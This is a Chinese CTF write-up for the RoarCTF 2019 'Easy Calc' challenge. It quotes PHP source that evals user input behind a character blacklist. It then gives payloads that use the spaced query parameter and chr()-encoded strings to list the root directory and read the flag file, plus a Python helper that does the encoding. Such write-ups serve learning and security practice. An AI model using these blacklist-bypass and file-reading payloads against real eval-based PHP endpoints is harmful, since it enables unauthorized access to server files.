[RoarCTF 2019]Easy Calc

[RoarCTF 2019]Easy Calc

查看一下页面源码中，发现一个 calc.php 地址，访问一下。

给出了php的源码，分析一下

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];	# 黑名单过滤
        foreach ($blacklist as $blackitem) {	# 遍历 黑名单列表 将值 传递给变量 $blackitem 
                if (preg_match('/' . $blackitem . '/m', $str)) {	# 使用正则匹配 输入的 $str 中的字符串(此处是将黑名单中的值一个一个遍历传递到正则中进行匹配，/m 表示多行匹配)
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');		# 通过 eval 执行
}
?>
    
# preg_match()在第一次匹配后 将会停止搜索。
# foreach 语法结构提供了遍历数组的简单方式。
语法：
    foreach (iterable_expression as $value)
        statement
    foreach (iterable_expression as $key => $value)
        statement
    # 第一种格式遍历给定的 iterable_expression 迭代器。每次循环中，当前单元的值被赋给 $value。
    # 第二种格式做同样的事，不仅将当前的值赋给 $value,当前的键也会赋值给 $key。

# 其他几个参数：
# /i (忽略大小写)
# /g (全文查找出现的所有匹配字符)
# /m (多行查找)
# /gi(全文查找、忽略大小写)
# /ig(全文查找、忽略大小写)

了解一下 php的字符串解析特性，参考文章：

文章1

文章2

利用 php字符串的解析规则 和 php函数进行绕过。

php文件系统函数

# payload
? num=1;var_dump(scandir(chr(47)))

## scandir()		## 列出指定路径中的文件和目录
## chr(47) 	# 使用 chr() 函数将ASCII码 47 转换成 /

将得到的目录全部转换成ASCII码后再读取文件的内容。

# payload
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

# python 转换
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-

for string in '/f1agg':
    print('chr({})'.format(ord(string)),end='.')